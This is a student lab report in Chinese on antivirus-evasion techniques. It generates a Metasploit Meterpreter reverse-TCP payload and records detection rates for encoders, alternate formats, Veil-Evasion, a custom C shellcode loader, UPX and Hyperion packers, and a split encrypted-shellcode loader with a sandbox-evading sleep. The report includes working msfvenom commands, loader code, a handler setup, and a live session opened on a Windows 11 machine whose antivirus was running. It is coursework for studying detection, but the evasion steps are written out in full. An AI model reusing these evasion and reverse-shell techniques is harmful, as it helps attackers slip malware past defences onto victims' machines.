20242329 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242329 2026-2027-1 《网络与系统攻防技术》实验三 免杀原理与实践

1. 基础概念

1.1 杀软判断一个文件,走四条路

做实验之前我对杀软的理解就一句话:它有个病毒库,文件跟库里对上了就报毒。做完之后发现这句话只对了一部分,而且是最容易绕过的那一部分。

杀软判断一个文件,大致走四条路。

特征码。 库里存的不是整个文件,是文件里的一小段——可能是一个哈希、一段机器码,也可能是 YARA 规则里的一串字节加通配符。只要文件里出现这一段,就判定为已知恶意代码。它准,但只能认已经入库的东西,而且改一个字节哈希就全变了。

启发式。 它不找"已知",它找"可疑"。看的是这些东西:文件熵值高不高(正常编译出来的代码段大概在 5.0 到 6.5 之间,加密压缩过的往 7.5 以上走)、节区名字怪不怪、入口点是不是落在最后一个节、导入表里是不是只剩 VirtualAlloc 和 CreateThread 这两个。有个比喻说得很准:走起来像鸭子、游起来像鸭子、叫起来像鸭子,那就当鸭子处理。

行为。 让程序真跑起来,看它干了什么:申请可执行内存、往别的进程里写代码、改注册表自启动、连高位端口的外部地址。这一层不看文件长什么样,只看动作。

信誉。 谁签的名、有没有人见过、从哪儿下载的、这个文件有多新。这一层最不讲道理,它不判断你是不是病毒,只判断认不认识你。

这四条不是并列的,从下载到运行是接力关系。本次实验后面每一次"成功"和"失败",基本都能对到其中某一棒上。

1.2 免杀是在做什么

一句话:在不改变功能的前提下,让它在上面某一关过不去。

拆开是三个方向。改字节,动的是特征码那关;改结构,动的是启发式那关;改行为,动的是行为监控那关。信誉那关最难,因为它的判据根本不是你写得好不好。

有个前提得先说清楚:杀软并不是有本事认出所有恶意程序,它只是有点经验。经验是拿海量已知样本堆出来的,经验之外的东西就容易放过去。这也是本实验能成立的根本原因。

1.3 一段 shellcode 怎么跑起来

meterpreter 的 shellcode 是一段位置无关的机器码,355 个字节,没有 PE 头,Windows 不认识它。要让它跑,得有个程序替它做三件事:

void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void (*)(void))exec)();

申请一块可读写可执行的内存,把 shellcode 拷进去,再把这块内存的地址当函数指针调一下。

为什么要显式申请?因为现代 Windows 开着 DEP,数据段默认不可执行,CPU 的 NX 位会直接把跳转拦下来,报 0xc0000005 访问违例。

为什么非要"可执行"?这才是关键。PAGE_EXECUTE_READWRITE 就是常说的 RWX,一块既能写又能执行的内存,在正常软件里几乎见不着。杀软看到"申请 RWX 内存 + 往里写东西 + 跳过去执行"这一套,不用看里面是什么就知道你想干什么。

后面 2.6 和 2.8 的所有设计,都是在跟这个特征躲猫猫。

1.4 这次用到的工具,各自站在哪一层

工具 干的事 想打动哪一层
msfvenom 把 shellcode 填进固定 PE 模板,也可直接输出 jar/php/py 特征码
x86/shikata_ga_nai 对机器码做多轮异或,附一段解码器 特征码
Veil-Evasion 用混淆过的 C 模板重新编译 特征码 + 启发式
UPX 压缩壳,节区名固定为 UPX0/UPX1 特征码(指望杀软不脱壳)
Hyperion AES 加密壳,带自解密跳板 特征码(指望杀软解不开)
MinGW-w64 交叉编译,自己写加载器 特征码 + 结构

2. 实验内容

2.1 实验环境

攻击机是 Kali Linux 2026.2,靶机是实验者本人的笔记本,Windows 11 家庭中文版 24H2(Build 26200),主机名 WANGXIAOXUAN。两台机器靠 VMware 的虚拟网卡连通:宿主机的 VMnet8 地址是 192.168.37.1,Kali 的 eth0 是 192.168.37.130。

一开始 Kali 接的是 Host-Only,实验中途改成了 NAT,原因写在问题一里。改完之后攻击机地址变成 192.168.37.130,本次实验所有命令都用这个地址。

靶机上装了两套防护:火绒安全软件 6.0.12.1(病毒库 2026-10-24 18:47)和 Windows Defender(4.18.26100.4,实时保护开启)。全程没有关过任何一个,也没有加过排除项和信任区,这一点后面 2.9 节会有专门交代。

在线检测用 VirScan(48 个引擎),选它是因为不用注册、传上去就能看结果,48 个引擎这个量级做横向对比也够用。所有样本文件名都带学号 20242329,回连端口统一用学号后四位 2329。

图1 靶机主机名、系统版本与 Defender 状态

图2 靶机火绒版本与病毒库

图3 火绒病毒防护七项全部开启

图4 攻击机 Kali 的主机名与网络配置

2.2 基线:msfvenom 直接生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 -f exe -o met20242329.exe

结果 Payload size: 355 bytes,Final size of exe file: 7168 bytes,PE32 executable (GUI) Intel 80386, 5 sections。

355 到 7168 之间那 6813 个字节不是载荷,是 msfvenom 的固定模板。这个比例很说明问题:想藏的东西只占整个文件的 5%,剩下 95% 都是模板。后面这一路折腾,本质上都是在想办法把模板扔掉。

上传 VirScan:16/48。

图5 msfvenom 生成基线载荷

图6 基线样本检出 16/48

报毒的 16 个引擎分三类。

第一类直接点我的名:AVG 和 Avast 报 Win32:MsfShell-E,VBA32 报 BScope.Trojan.Metasploit,DrWeb 报 BackDoor.Meterpreter.1462。这几个名字连我用的是 Metasploit 都写出来了。

第二类是通用木马家族,比如 ESET 的 a variant of Win32/Rozena.BZ、Arcabit 的 Trojan.Babar.D67F6F。

第三类是启发式猜测。这里头有两条我当时没在意,后来发现很关键:Avira 报 TR/Crypt.XPACK.Gen,GDATA 报 Win32:Evo-gen。我这个文件一点编码和加壳都没做,它们已经认为它是加密过的了。也就是说 msfvenom 这个模板本身在启发式眼里就不干净。这一条后面 2.7 节会再撞上一次。

2.3 编码器:把工具指纹换成了编码器指纹

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' \
  LHOST=192.168.37.130 LPORT=2329 -f exe -o met20242329_enc1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.37.130 LPORT=2329 -f exe -o met20242329_enc10.exe

十次那条命令的输出里有一串挺实在的东西:payload 从 382 一档一档涨到 625,每一轮加 27 字节。那 27 字节就是每一轮附带的解码器。

图7 迭代编码时载荷逐次膨胀

检出:15/48 和 14/48。

图8 编码 1 次:15/48

图9 编码 10 次:14/48

只看数字,从 16 掉到 14,好像是有效果。但看报毒名才知道到底发生了什么。

AVG 和 Avast 的 MsfShell-E 不见了。这说明编码确实起了作用,它把 shellcode 的字节打散了,原来那段能匹配 MSF 特征库的机器码没了。

可是 ClamAV 开始报 Win.Trojan.MSShellcode-6360728-0,IKARUS 报 Backdoor.Shell。这个 MSShellcode 显然也在说它跟 MSF 有关,只是换了张嘴。为什么还能认出来?因为 shikata_ga_nai 生成的东西头上永远带着一段解码器,那段解码器的结构是固定的。十轮编码只是把它套了十层,最外面那层还是原来的样子。

Avira 的 TR/Crypt.XPACK.Gen 和 GDATA 的 Evo-gen 从头到尾没变过,它们压根没被骗。

所以这次编码的真实效果是:把"工具指纹"换成"编码器指纹"。 该报的还是报,净收益两个引擎,在 48 个引擎的样本里算噪声。

2.4 换格式:不是隐身,是换了一套知识库

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 -f jar -o metjar20242329.jar
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
  LHOST=192.168.37.130 LPORT=2329 -f jar -o metjar_enc20242329.jar
cmp metjar20242329.jar metjar_enc20242329.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 -f raw -o metphp_20242329.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 -f raw -o metpy_20242329.py

jar 内部就是五六个文件:metasploit/Payload.class(8765 字节)、metasploit.dat、一个 MANIFEST.MF,本质是个 zip。

图10 jar 结构、编码未生效的证据与各格式大小

这里先说一个判据,比检出率更有用。给 jar 加 -e x86/shikata_ga_nai -i 10 之后,输出里根本没有 Found 1 compatible encoders 这句话,文件大小一个字节没变(都是 5264),cmp 只报了一个 differ: byte 11——那是 ZIP 里记录修改时间的位置。

也就是说编码器压根没干活。shikata_ga_nai 是 x86 编码器,jar 里装的是 JVM 字节码,它没有处理对象,msfvenom 既没报错也没提示,就这么跳过去了。

如果只盯检出率,jar 和 jar+编码都是 14/48,很容易得出"编码对 jar 无效但也没副作用"这种结论。实际上是编码根本没执行。

jar 上传:14/48。

图11 jar 载荷检出 14/48

Java 载荷报出来的名字跟前面完全不是一个体系。一类还在说"这是个 Java 木马":AVG 和 Avast 的 Java:Agent-AUJ、DrWeb 的 Java.MetasploitMH.1、Cyren 和 Authentium 的 Java/Agent.BLH、GDATA 的 Java:Agent-BCX。另一类干脆不把它当木马了,当漏洞利用代码:IKARUS 的 Exploit.CVE-2012-4681、ESET 的 Java/Exploit.CVE-2012-4681.DA、Fortinet 的 Java/CVE_2012_4681.L!exploit、Avira 的 EXP/JAVA.Loader.Gen、McAfee 的 Exploit-FKL、NANO 的 Exploit.Zip.Heuristic-java、QuickHeal 的 Exp.JAVA.Agent.ATV、江民的 Exploit.Java.pw——这一类的正好八家,其中三家连 CVE 编号都写出来了。因为 msf 的 Java stager 走的就是那个 2012 年的老漏洞。

换句话说,换格式并没有让杀软看不见你,只是让它换了一套知识库来指认你。

php 上传:8/48,全组最低。

图12 PHP 载荷检出 8/48

报毒的全是脚本规则:Script:SNH-gen、PHP/Webshell.NJW、Virus.PHP.Meterpreter、Trojan.PHP.Agent.SS、Trojan.WebShell!8.A5。而 Avira、McAfee、ClamAV、DrWeb、VBA32、F-Secure、K7 这些大厂全放行了。

载荷的功能一行没改,还是那个反连的 meterpreter,只是从 exe 变成了一段 php 文本,近 40 个引擎就看不见了。因为它们擅长的那套用不上了:没有 PE 头、没有节表、没有机器码,能做的只剩字符串匹配。

python 那个没能送检,平台不收 .py,原因放在问题四里说。

2.5 Veil-Evasion:把工具指纹彻底剥掉

先说工具本身。这部分花的时间比所有实验加起来还多,详细过程写在问题二里。

Kali 的软件源里还有 veil,装上之后还自带配置脚本,看着挺顺利。一运行就露馅了:初始化脚本去下载一堆 2017 年就失效的依赖,十二项全挂,挂完之后又弹回"是否安装",死循环。绕过第一层自检之后,它还要 Go、要 wine 里的 Python 3.4、要 Ruby 1.8.7、要 AutoIt3,缺一个就不让进主界面。

我们只用 C 后端,需要的是 msfvenom 和编译器,Go 和 Ruby 跟我们没半点关系。所以我判断这些检查是"所有后端都得在场"的粗暴判断,造了几个空目录和空文件骗过去,进去了。

选载荷时踩了个小坑:习惯上会写成 use c/meterpreter/rev_tcp,但这个版本必须带 .py 后缀,得写 use c/meterpreter/rev_tcp.py。

图13 Veil 生成 C 载荷

生成出来的 exe 有 115736 字节,比 msfvenom 直出的大了十六倍。

上传:8/48,正好是基线的一半。

图14 Veil 载荷检出 8/48

数字之外更值得看的是谁不吭声了。同一个平台、同一批引擎,把两边的表拉出来对:

引擎 基线(16/48) Veil(8/48)
AVG Win32:MsfShell-E 放行
Avast Win32:MsfShell-E 放行
DrWeb BackDoor.Meterpreter.1462 放行
VBA32 BScope.Trojan.Metasploit 放行
金山 Win32:Heur.KVMH015.a 放行
飞塔 W32/Swrot!tr 放行
NANO Virus.Win32.Gen.ccmw 放行
GDATA Win32:Evo-gen 放行

八个引擎直接放行了。其中四个是点名式的:AVG 和 Avast 的 MsfShell-E、DrWeb 的 BackDoor.Meterpreter、VBA32 的 BScope.Trojan.Metasploit——这几个名字连我用的是 Metasploit 都写在脸上了,这次它们一个字没说。另外四个报的是通用启发式,也一起沉默了。

还有六个仍然在报,但全都换了名字:ESET 从 Rozena.BZ 变成 Agent.QQ,Arcabit 从 Babar 变成 Fragtor,Avira 从 TR/Crypt.XPACK.Gen 变成 TR/ATRAPS.Gen7,瑞星从 Kryptik 变成 Malware.Undefined,Emsisoft 从 Babar 变成 Fragtor,Filseclab 从 Packed.Krap 变成 Heur!.NewThreat。从头到尾报同一句话的,只剩 OneAV(Win.Malicious.ml)和 F-Prot(W32/Felix:CO:VC)两个。

为什么?Veil 把 C 源码留在 /var/lib/veil/output/source/ 下面,我打开看了一眼。那份源码做了代码级的手脚:函数名和变量名全是随机串(oobWGZRgpjQMMd、HUrFSNPxXYNVEyI),关键字符串不直接写,拆成一堆字符数组在运行时拼回去,中间还插了几个永远不会被调用的垃圾函数。

图15 Veil 自动生成的混淆源码

它没有加密,它是让代码长得跟原来不像。加密会留下"这是加密文件"的高熵特征,变形不会。这是它和后面 Hyperion 最大的区别。

从"四个点我名的引擎集体沉默"到"剩下的只会报个泛化家族",差距就在这一段。

2.6 自己写加载器:换了容器,内容没换

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 \
  -f c -o shellcode_c_20242329.c

生成的 .c 文件里只有一个 unsigned char buf[] 数组,1.5 KB。在后面追加一个 main:

#include <windows.h>
#include <string.h>

int main(void) {
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) return 1;
    memcpy(exec, buf, sizeof buf);
    ((void (*)(void))exec)();
    return 0;
}

i686-w64-mingw32-gcc 编译出来 108601 字节,PE32 executable for MS Windows 4.00 (console), Intel i386, 16 sections。

图16 手写加载器的编译结果

顺便记一个细节:编译器产物有 16 个节区,而 msfvenom 模板只有 5 个。所以"节区多"本身不是可疑特征,正常程序节区本来就多;可疑的是节区少得反常,或者节区名字写着 UPX0、UPX1 这种。这一条在 2.7 节正好用得上。

检出 7/48。

图17 手写加载器检出 7/48

但是——Win32:MsfShell-E 又回来了,AVG 和 Avast 都报。

把四组结果排起来看,因果就清楚了:

样本 AVG / Avast
基线(原始 355 字节) 报 MsfShell-E
编码 1 次 / 10 次 放行
Veil(混淆模板) 放行
自己写 loader(又塞回原始 355 字节) 又报 MsfShell-E

原因很简单:这次塞进 C 程序的是没编码的原始 shellcode,一个字节都没改。结构换了,内容没换。

换容器能骗过结构检测,骗不过内容检测。 剩下的 7 个报毒基本都冲着那段 shellcode 来。

2.7 加壳:越藏越可疑

UPX 压缩壳。

upx -9 -o shellcode_c_upx_20242329.exe shellcode_c_20242329.exe

108601 → 59961,压缩 55.21%。

图18 UPX 压缩结果

检出 7/48,不但没降,报毒的七个引擎跟上一节一字不差,报的名字也全一样。

因为 UPX 的壳头格式完全公开,节区名就叫 UPX0 和 UPX1,杀软看到这两个名字直接调自带的脱壳引擎解开,扫的还是里面那段 shellcode。体积小了 45%,对它毫无影响。

Hyperion 加密壳。

sudo chown -R kali:kali /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v /home/kali/lab3/shellcode_c_20242329.exe /home/kali/lab3/shellcode_c_hyp_20242329.exe

它调用 FASM 汇编了 7 轮,输出 124928 字节。

图19 Hyperion 加密壳运行过程

检出 20/48。

图20 加壳后检出反而升到 20/48

从 7 涨到 20,全场最高。而且 ClamAV 报的名字非常直接:Win.Packer.Hyperion-1。连壳的名字和版本号都写出来了。它不是在认里面的木马,是在认这个壳。

还有一片报 packed 和 crypt 的:NANO 的 Trojan.Win32.Packed2、OneAV 的 Win.Malicious.ml[packed]、IKARUS 的 Trojan.Win32.Crypt、Avira 的 TR/Crypt.XPACK.Gen、ALYac / Arcabit / Emsisoft 三家的 Gen:Variant.Razy(Razy 是个加密壳家族),还有 Cyren 和 Authentium 报的 W32/Banload.EE.gen——那是银行木马下载器家族。深信服干脆只写了两个字:Malware。

没有一个引擎说得出里面是什么,但它们全都同意"这玩意儿在藏东西"。

原因大概四条。加密之后数据段的熵接近 8.0,完全随机,而正常代码段只有 5 到 6.5;壳本身的解密跳板结构固定,早被提取成签名;加壳之后入口点被挪到了最后一个节;自解密加联网下载这套动作,跟 Banload、Waski 这些下载器的画像撞上了。

三组数字摆在一起看:

样本 大小 检出
什么都不加 106 KB 7/48
加 UPX 59 KB 7/48
加 Hyperion 125 KB 20/48

加密强度最高、体积最大、看着最"厚"的那个,反而最容易被抓。

2.8 组件分离:让可疑的东西不在文件里

思路很简单:exe 里一个载荷字节都不留,shellcode 加密后单独存成一个文本文件,运行时再读进来解密执行。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2329 \
  -f raw -o sc_20242329.raw          # 355 字节纯 shellcode
perl -e 'binmode STDIN; binmode STDOUT;
  while (read(STDIN,$b,1)) { printf "%02x", (ord($b)+1) % 256 }' \
  < sc_20242329.raw > encoded_20242329.txt

这一步我先做错了一次,文件是 733 字节而不是 710,原因写在问题三里,最后是加了个 % 256 才对。改完之后 710 字节,并且用反向解码加 cmp 验了一遍,ROUND-TRIP OK。

图21 载荷加密为定长十六进制文本并验证可逆

loader 只做四件事:读文件、每个字节减 1、申请内存、跳转执行。编译出来 337143 字节。

上传之后:loader 2/48,txt 0/48。

图22 加密后的载荷就是一串十六进制字符

图23 组件分离 loader 检出 2/48

图24 加密载荷文本 0/48

从基线 16 降到这里,降幅 87.5%。

剩下那 2 个引擎值得单独说:F-Prot 报 W32/Felix:CO:VC!Eldorado,Filseclab 报 Suspicious:Heur!.NewThreat.MVM。

这两个名字,在 Veil 那个样本里报的是一模一样的。

所以它们报的不是载荷,是"这是个刚编译出来、没见过、没签名的小程序"。换成我今天随手写个 Hello World 编译出来,它们大概率也这么报。

到这一步,杀软对这个文件已经没什么可说的了。

还有两个设计上的考虑,写在指导书里,我没敢省:

一是 loader 里加了 Sleep(30000),启动先躺 30 秒。理由是不给沙箱"快速跑一遍看看"的机会。

二是内存先申请 PAGE_READWRITE,再 VirtualProtect 改成 PAGE_EXECUTE_READ,不直接申请 RWX。多这一步就是把"可写"和"可执行"分开,虽然只隔几毫秒,但那几毫秒里它不是一块标准的 RWX。

2.9 真机实测

Kali 先起监听(exploit -j 放后台),再起一个 http 服务把样本传过去。

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.37.130
msf exploit(multi/handler) > set LPORT 2329
msf exploit(multi/handler) > set ExitOnSession false
msf exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 192.168.37.130:2329

下载的时候撞上了第一层拦截。Edge 弹出:

通常不会下载 loader20242329.exe。请在打开前确保信任。

图25 SmartScreen 的信誉提示

注意它的措辞。它没说"发现病毒",也没说"检测到威胁",它说的是"通常不会下载"——这玩意儿我不认识。点"保留"之后照样下载成功。这一层是信誉判定,不是特征判定。

火绒这一环什么都没说,下载保护、Web 扫描都没拦。文件落地完整:loader20242329.exe 337143 字节,encoded_20242329.txt 710 字节。

然后在 PowerShell 里执行 .\loader20242329.exe。因为 loader 里有那个 30 秒的延时,窗口会静默半分钟,什么都看不见。这半分钟里我一直在盯 Kali 那边。

大概 30 秒后:

[*] Sending stage (199238 bytes) to 192.168.37.1
[*] Meterpreter session 1 opened (192.168.37.130:2329 -> 192.168.37.1:15962)

图26 会话建立

进去之后确认身份:

meterpreter > sysinfo
Computer        : WANGXIAOXUAN
OS              : Windows 11 24H2+ (10.0 Build 26200)
Architecture    : x64
Meterpreter     : x86/windows

meterpreter > getuid
Server username: WANGXIAOXUAN\lenovo

图27 会话内确认靶机身份

同时开任务管理器,loader20242329.exe (32 位) 稳稳待在那儿,CPU 那栏是 0%,内存 0.1%,一点动静都没有。

图28 样本进程在杀软开启状态下驻留

最后做了一件我认为最要紧的事:查日志。

火绒的「安全日志」,时间选 2026/10/25 到 2026/10/25,类别选"全部",结果是一条记录都没有。Defender 的「保护历史记录」只有 2026/10/17 的三条旧记录,10 月 25 日当天零记录。

图29 火绒安全日志当天一条记录都没有

图30 Defender 保护历史里只有 10 月 17 日的旧记录

另外还顺手用 screenshot 命令看了一眼靶机的实时桌面,屏幕上就是我自己当时正在操作的那个桌面,连任务栏上的时间都对得上。

两个杀软全程开启,没有加任何排除项、任何信任区,样本落地、驻留、回连,日志里一条拦截都没有。

这一点我特意核了两遍。不加排除项就成功,和我事前想的完全不一样——我原本以为必须先把样本目录加进排除项、再给火绒加信任区,才有可能跑起来。

2.10 全部样本汇总

序号 样本 手法 大小 检出 比例
1 met20242329.exe msfvenom 基线 7168 B 16/48 33.3%
2 met20242329_enc1.exe 编码 1 次 7168 B 15/48 31.3%
3 met20242329_enc10.exe 编码 10 次 7680 B 14/48 29.2%
4 metjar20242329.jar Java jar 5264 B 14/48 29.2%
5 metjar_enc20242329.jar jar + 编码(未生效) 5264 B — —
6 metphp_20242329.php PHP 脚本 1114 B 8/48 16.7%
7 metpy_20242329.py Python 脚本 436 B 未送检 —
8 payload20242329.exe Veil-Evasion 115736 B 8/48 16.7%
9 shellcode_c_20242329.exe C + shellcode 108601 B 7/48 14.6%
10 shellcode_c_upx_20242329.exe + UPX 59961 B 7/48 14.6%
11 shellcode_c_hyp_20242329.exe + Hyperion 124928 B 20/48 41.7%
12 loader20242329.exe 组件分离 loader 337143 B 2/48 4.2%
13 encoded20242329.txt 加密载荷文本 710 B 0/48 0%

把这张表从上往下一路看下来,其实就是一条曲线:先拼命改字节,没用;换成自己编译,掉一半;加壳,加多少亏多少;最后把载荷从文件里拿出去,才降到个位数。


3. 问题及解决方案

问题一:Kali 上不了外网,apt 全挂

刚开实验就卡住了。Kali 里 ping www.baidu.com 报 Temporary failure in name resolution,apt update 也全是 Network is unreachable。

先 ip a 看了一眼,Kali 的 eth0 是 192.168.19.128。回头对宿主机网卡,192.168.19.1 对应的是 VMware 的 VMnet1,也就是 Host-Only。

原因就清楚了:Host-Only 虚拟网络没有 NAT 网关,宿主机和虚拟机之间能通,但虚拟机出不去。

改法是把这台虚拟机关掉,在 VMware 里把网络适配器从 Host-Only 换成 NAT(VMnet8),再开机。之后 eth0 变成 192.168.37.130,ping 通了,apt 正常。

顺带的好处是靶机地址也清楚了:宿主机的 VMnet8 是 192.168.37.1,跟 Kali 在同一个网段。

经验:判断虚拟机的"能通"和"能上网"是两件事。 前者看同网段能不能 ping 到对方,后者看有没有 NAT 网关。

问题二:Veil 装得上,但起不来

这一段耗的时间最长,前后五六轮。

第一层是依赖。sudo veil 会先跑它自己的初始化脚本,屏幕最上面写着 Veil (Setup Script) [Updated]: 2018-05-08,检测到的系统是 Kali Linux 2026.2。一个 2018 年的脚本给 2026 年的系统装东西,结果可想而知:

[!] Failed with git clone: 0
[!] Failed to install (Wine) Python 3.4.4 ... Exit code: 2
[!] Failed to install pypiwin32 ... Exit code: 1
[!] Bad hash for PyInstaller.tar.gz!
[!] Failed to run (Wine) Python pip ... Exit code: 53
[!] Failed to install (Wine) Ruby.exe ... Exit code: 53
[!] Bad hash for go1.7.5.linux-amd64.tar.gz!
[!] Failed to run (Wine) AutoIT ... Exit code: 53

十二项全挂。挂完之后它不退出,又弹回 Are you sure you wish to install Veil?,按 y 就再跑一遍,无限循环。

图31 Veil 初始化时依赖全数失效

第二层是启动自检。Ctrl + C 退出循环,绕过 setup 直接启动 Veil.py,它先嫌我没在它自己的目录里(config/setup.sh: No such file or directory),进去之后又报:

[!] ERROR #2-3: Can't find Go (/var/lib/veil/go/)

补了 Go 之后报缺 wine 里的 Python 3.4,补了 Python 又该缺 Ruby、缺 AutoIt。

图32 Veil 启动自检拦截

到这儿我停下来想了想:这些依赖都是给 Python、Ruby、AutoIt、Go 这四种后端用的 Windows 移植环境。而这些后端我们一个都不用——我们要的是 c/meterpreter/rev_tcp,它只需要 msfvenom 和 mingw 编译器,这两样本来就有。

所以我判断这个自检是"所有后端都必须在场"的粗暴判断,只查文件在不在,不查能不能用。那就造给它:

sudo mkdir -p /var/lib/veil/go /var/lib/veil/PyInstaller-3.2.1
sudo mkdir -p /var/lib/veil/wine/drive_c/Python34 /var/lib/veil/wine/drive_c/Ruby187/bin
sudo mkdir -p "/var/lib/veil/wine/drive_c/Program Files/AutoIt3/Aut2Exe"
sudo touch /var/lib/veil/wine/drive_c/Python34/python.exe
sudo touch /var/lib/veil/wine/drive_c/Ruby187/bin/ruby.exe
sudo touch "/var/lib/veil/wine/drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe"
cd /usr/share/veil && sudo python3 Veil.py

进去了,主菜单正常,41 个载荷都列得出来,C 后端生成也一次成功。

经验:装不上的时候要先分清"哪一部分装不上"和"我要用的功能需不需要它"。 十二项依赖全挂听起来像彻底没戏,实际上挂的全是我不走的那几条路。

问题三:加密后的载荷文件多了 23 个字节

这条是我觉得最有价值的一条。

生成完载荷,我按习惯 wc -c 看了一下大小,结果是 733 字节。按道理应该是 355 × 2 = 710。

多出来 23 个字符。

原因是加密那行 perl 用 printf "%02x", ord($b)+1。%02x 的意思是"至少两位十六进制",但没说最多两位。当某个字节是 0xff,加 1 变成 256,十六进制是 100——三位。355 个字节里正好有 23 个 0xff,于是就多了 23 个字符。

图33 载荷文件是 733 而非 710,以及修正后的对比

这个错误不报错、不提示。loader 那边是这么读的:

while (n < MAXLEN && fscanf(fp, "%2x", &ch) == 1)

每次固定读两个字符。一旦碰到那个三字符的 100,从这里往后全部错位——0x10 被当成一个字节,剩下的 0 又跟下一个字节的头一个字拼在一起。解密出来是乱码,shellcode 从第一个 0xff 之后就是废的。

要是没核对大小,直接把这样的文件拖到 Windows 上双击,结果一定是"一闪就没"。而我当时的第一反应肯定是"被 Defender 拦了",然后回去改加密算法、改 loader、加延时、换 API……全是白费功夫。

解法是让取值回绕:printf "%02x", (ord($b)+1) % 256。0xff 加 1 变成 0x00,解码时减 1 又自动绕回 0xff(在 C 里对 unsigned char 减 1 本来就会回绕)。

改完 710 字节。又在本地做了一次反向验证:

perl -0777 -ne 'for my $h (unpack("(A2)*",$_)) { print chr((hex($h)-1)%256) }' \
  encoded_20242329.txt > decoded_check.raw
cmp sc_20242329.raw decoded_check.raw && echo "ROUND-TRIP OK"

355 字节,ROUND-TRIP OK。证明加解密无损可逆,才敢往 Windows 上送。

经验:每一步的中间产物都要有一个能核对的数字。 710 这个数字不是我从哪儿抄的,是 355 乘 2 算出来的,对不上就说明中间出了问题。

问题四:python 载荷传不上去

上传 metpy_20242329.py 的时候,平台弹了个框:

File verification failed

图34 平台拒绝接收 .py 文件

一开始我以为是风控——之前听说过连续上传会被卡住。但回头翻了时间:12:38 传 php 成功,12:42 传 py 失败。同一台电脑、同一个网络、相隔四分钟,前面那个还能传,说明跟 IP 无关。

再看平台对 php 的处理:能传,而且给它标了个 File Type: unknown。所以它是按扩展名做白名单校验的,未知类型放行,但 .py 根本不在名单里。

那就没必要折腾了。实验要求是"生成如 jar 之类的其他文件",jar 和 php 都已经有数据了,python 只是第三个点。换到 VirusTotal 去传虽然能成,但那边是 71 个引擎,跟前面的 48 不是一套标准,硬塞进同一张表反而把数据搞乱。

经验:排查"传不上去"的时候,先看同一批其他文件成不成。 都失败是环境问题,只有一个失败是文件问题。

问题五:后台起的 http 服务起来就死

想在 Kali 上起个临时下载服务把样本传给 Windows,用的是这条命令:

(python3 -m http.server 8080 >/tmp/http.log 2>&1 &)

Windows 那边浏览器访问,报 ERR_CONNECTION_REFUSED。

这个报错挺误导人的,看着像网络不通。其实不是:如果是 IP 不可达,浏览器会一直转圈直到超时;而"拒绝连接"说明包已经到达对端,只是那个端口上没人监听。 用 Test-NetConnection 192.168.37.130 -Port 8080 一测,False,确认是服务没起来而不是网络问题。

原因是 Kali 的 zsh 在子 shell 退出时,会把子 shell 里的后台任务一起收走(SIGHUP)。

改法很简单:另开一个终端标签页(Ctrl + Shift + T),前台跑:

cd ~/lab3 && python3 -m http.server 8080

看到 Serving HTTP on 0.0.0.0 port 8080 就成了,这个标签页别关。而且前台跑还有个好处——下载的时候它会实时打印 GET /loader20242329.exe 200,等于顺手拿到了"文件确实完整传出去了"的证据。

经验:"拒绝连接"和"连接超时"是两个完全不同的信息。 前者说明对方活着但端口没开,后者才说明路不通。


4. 学习感悟、思考等

一、它不是发现了你,它只是不认识你。

整个实验里最让我忘不掉的一幕,是 Edge 那个提示框。它写的是"通常不会下载 loader20242329.exe,请在打开前确保信任"。

没有"病毒",没有"威胁",就是"通常不会下载"。

再往深一层看,F-Prot 和 Filseclab 这两个引擎,在 Veil 的样本上报的是 W32/Felix:CO:VC!Eldorado 和 Suspicious:Heur!.NewThreat.MVM,在我的 loader 上报的还是这两个名字,一字不差。我的 loader 里连一个字节的载荷都没有,它俩照样报。这说明它们报的根本不是木马,是"这是个刚编译出来、没见过、没签名的陌生程序"。

到 2/48 这个程度,杀软已经没什么可说了。它不是在抓你,它是在犹豫。

所以免杀的天花板其实不在技术那一层。只要文件的来源、签名、新鲜度这些"身份信息"是空白的,你就永远在嫌疑名单上。反过来,真正难破的也不是特征码,是信任。

二、免杀是做减法,不是做加法。

做之前我以为思路是"套得越多越保险":编码一遍不够就十遍,再加上壳,壳外面再套一层。

数据把这条路堵死了。什么都不加的 C loader 是 7/48,加 UPX 还是 7/48,加 Hyperion 变成 20/48。

Hyperion 是三者里加密强度最高的一个,AES 加自解密跳板,正儿八经跑了七轮汇编。结果 ClamAV 连它的版本号都报出来了:Win.Packer.Hyperion-1。

那一刻我才明白前面的伏笔。2.2 节里,我一个没编码没加壳的原始 exe,Avira 就报 TR/Crypt.XPACK.Gen、GDATA 就报 Evo-gen——它们看到 msfvenom 那个模板就已经觉得像加密文件了。再往上真加密一遍,等于把这个怀疑坐实。

而 Veil 走的是反方向:它不加密,它把代码写成另一个样子,函数名改成随机串,字符串拆开存。检出 8/48。

一个在藏,一个在变。杀软对"藏起来的东西"是直接抓,对"看不顺眼的陌生程序"只是怀疑。

三、判断"有没有真的成功",比操作本身难得多。

733 和 710 这件事我印象太深了。

加密脚本里 ord($b)+1 碰到 0xff 会变成 256,输出三位十六进制。355 个字节里有 23 个 0xff,文件就多了 23 个字符。整个过程不报错、不警告,文件看起来也挺正常。

